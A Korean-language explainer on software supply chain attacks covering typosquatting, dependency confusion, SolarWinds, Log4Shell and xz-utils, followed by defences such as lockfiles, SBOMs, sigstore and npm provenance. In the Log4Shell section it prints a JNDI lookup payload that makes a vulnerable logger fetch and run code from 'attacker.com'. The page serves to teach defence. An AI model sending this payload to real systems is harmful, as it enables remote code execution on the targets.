본문으로 건너뛰기
yutils

supply chain 공격은 어떻게 동작할까?

npm typosquatting, dependency confusion, modern playbook 으로서의 SolarWinds·Log4Shell, xz-utils backdoor, lockfile vs unpinned 버전, SBOM (Software Bill of Materials), 실제 방어 수단 (sigstore, npm provenance, dependabot).

약 10분 읽기

SolarWinds (2020), Log4Shell (2021), xz-utils backdoor (2024) — modern security 의 가장 큰 주제. 직접 application 공격이 아니라 dependency / build pipeline 통한 우회. 이 가이드는 attack 의 type, 실제 사건 분석, modern 방어 (sigstore / SBOM / provenance) 를 정리한다.

Supply Chain — 무엇인가

application 의 진짜 의존성:

your code (1%)
  + npm packages (50%)
  + transitive deps (40%)
  + Docker base image
  + CI runner (GitHub Actions)
  + build tools (webpack, esbuild)
  + OS packages (libc, openssl)
  + cloud provider (AWS, GCP)

→ 모든 단계가 공격 target.
   직접 application 의 코드를 0 line 도 안 건드리고 production 침투 가능.

공격 type 1 — npm Typosquatting

악성 패키지를 popular 패키지와 비슷한 이름으로 게시.

진짜:  lodash, request, react-router
가짜:  lodahs, requst, react-rooter

피해자: typo 로 install
       npm install lodahs   ← 의도는 lodash
       악성 코드 실행 (postinstall script)

자동화 사례:
- 2017 cross-env 의 typosquat "crossenv" — 700+ download
- 2022 colors / faker 의 npm 게시 시점 attack
- 매주 수십 개 새 typosquat 발견 (npm 가 일부 차단)

방어:
- 패키지 이름 두 번 확인 (특히 새로 설치)
- npm 의 dependency-check 도구
- 회사 npm registry (private mirror) 로 화이트리스트

공격 type 2 — Dependency Confusion (2021)

Alex Birsan 의 발견:
회사들이 내부 private 패키지명 (e.g. @company/internal-utils) 사용
공격자가 같은 이름의 public 패키지를 npmjs.com 에 게시
→ npm install 이 어느 걸 가져가나?

기본 동작:
  npm 은 version 더 높은 거 선택 (또는 private/public 혼동)
  → 공격자가 version 999.0.0 으로 올리면 그게 선택
  → 회사 내부 build 에서 공격자 코드 실행

영향: Apple, Microsoft, Tesla 등 50+ 회사에 PoC 성공.

방어:
- private registry 명시 (scope-specific registry)
- 모든 내부 패키지를 same scope 로 (npm reserves them)
- lockfile + integrity hash 검증

공격 type 3 — SolarWinds 형 (build pipeline 공격)

2020 — SolarWinds Orion (네트워크 모니터링 SW).

흐름:
1. 공격자가 SolarWinds 의 build server 에 침투 (방법 미상)
2. build pipeline 에 malware 주입 (Sunburst)
3. 정식 build → 정식 서명 → 정식 update 채널
4. 18,000+ 고객 (Microsoft, FireEye, 미국 정부 부서) 에 배포
5. malware 가 9 개월 잠복 → C2 (command & control) 와 통신

피해:
- US Treasury, State Department 등 정부 부서 compromise
- 검출 — FireEye 자체 보안 점검 중 발견 (수개월 후)

교훈:
- "트러스트된 소스" 자체가 공격 target
- code signing 만으로는 부족 — build process integrity 필요
- 그래서 reproducible build / SBOM 의 등장

공격 type 4 — Log4Shell (2021)

Log4j (Java logging 라이브러리, 거의 모든 Java 앱 사용) 의
취약점 — JNDI lookup 으로 임의 코드 실행.

trigger:
  logger.info("User-Agent: " + userAgent);
  ← userAgent = "\${jndi:ldap://attacker.com/Exploit}"

→ Log4j 가 자동으로 attacker.com 의 LDAP server 조회 → Exploit 클래스 다운로드 + 실행

피해:
- 거의 모든 Java 시스템 (AWS, Apple iCloud, Steam, Minecraft 등)
- 발견 즉시 전 세계 사용자 비상 update
- 한 줄의 잘못된 default 로 인터넷 절반이 침투 가능 상태였음

교훈:
- transitive dep 의 위험성 (직접 import 안 했어도 안에 박혀 있음)
- default-on 위험 기능 (JNDI 의 LDAP lookup)
- "한 라이브러리의 한 줄 코드" 가 인터넷 절반의 risk

공격 type 5 — xz-utils Backdoor (2024)

2024-03 — "Jia Tan" 이라는 maintainer 가 xz-utils 에 backdoor 박음.
- 2 년 동안 정상 contributor 인 척
- maintainer 권한 획득 후 backdoor 추가
- SSH 서버 인증 우회 (OpenSSH 가 xz lib 사용)

발견: Microsoft engineer 의 SSH 가 500ms 느려진 것에 의문 → 추적
거의 모든 Linux distro 의 SSH 서버 침투 가능 직전이었음.

교훈:
- OSS maintainer 의 social engineering 위험
- 자원 부족 maintainer 가 burnout → 새 contributor 환영 → 침투
- "수년간의 정상 commit" 후의 attack — code review 만으로 못 막음
- 행운으로 발견된 사례 (다른 비슷한 backdoor 가 있을지 모름)

방어 1 — Lockfile + Integrity Hash

package-lock.json / yarn.lock / Cargo.lock:

"lodash": {
  "version": "4.17.21",
  "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
  "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
}

→ install 시 hash 자동 검증.
   같은 version 의 tarball 이 변조됐다면 reject.

git commit lockfile + CI 에서 npm ci (lockfile-strict).

방어 2 — SBOM (Software Bill of Materials)

내 application 이 어떤 dep 들 (transitive 포함) 쓰는지 명시 list.

format: SPDX (Linux Foundation), CycloneDX (OWASP)

용도:
- 새 취약점 (CVE) 발견 시 → SBOM 검색으로 영향 받는 build 즉시 식별
- 미국 정부 / 큰 enterprise 가 vendor 에 요구
- automated tool (Trivy, Grype) 가 SBOM 으로 vulnerability scan

생성: npm-cyclonedx-plugin, syft (image scan), cargo-sbom

→ Log4Shell 시 SBOM 가진 회사들이 영향 받는 system 분 단위로 식별.
  없는 회사들은 며칠 걸림.

방어 3 — Sigstore / npm provenance

sigstore (2021 Linux Foundation):
- OSS package signing infrastructure
- cosign (image), gitsign (commit), npm 통합

npm 의 provenance (2023+):
  npm publish 가 GitHub Actions 에서 실행됐는지 cryptographic proof
  → 누가 / 어디서 / 어떤 commit 으로 build 됐는지 검증 가능
  → SolarWinds 같은 "build server 공격" 발견 가능

활성화:
  GitHub Actions 의 npm publish step 에 --provenance 플래그
  npm registry 가 자동 검증

→ 패키지 사용 시: npm view <pkg> 의 provenance 정보 확인 가능.

방어 도구 표

도구역할
Dependabot (GitHub)새 CVE 자동 PR (dep version bump)
Renovate같은 역할, more configurable
npm audit / yarn auditknown CVE 검사 (현재 deps)
Snyk / GitHub Advanced SecuritySaaS, 더 풍부한 CVE DB + remediation 제안
Trivyimage / fs / SBOM scan
Socket.dev실시간 npm install 시 의심 행위 차단 (postinstall 분석)

흔한 함정

  • lockfile commit 안 함 — install 마다 다른 version → CI 와 production divergence + 공격 표면 ↑.
  • "우리는 audit 통과니 OK" — audit 는 known CVE 만. 새 / private 취약점 무방어. SBOM + runtime monitoring 필요.
  • postinstall script trust — npm install 만으로 임의 코드 실행. --ignore-scripts + scoped registry 검토.
  • direct 만 update, transitive 무시 — 90% 의 CVE 가 transitive dep. 정기 audit + dedupe.
  • private repo 안 신뢰 가정 — insider threat / compromised credential. zero-trust + per-action 인증.

마무리

Supply chain 공격의 본질 — direct 가 아닌 우회. 막을 수 없는 영역도 있음 (xz 같은 maintainer attack). 그래서 전 단계 (dep / build / runtime) 의 layer 방어 + SBOM 으로 사후 대응 능력 확보가 modern best practice.

실용 — lockfile commit + Dependabot + SBOM 생성 + npm provenance + 정기 npm audit. 큰 enterprise 는 자체 npm registry mirror 와 Vault dynamic credential 도.

가이드 목록으로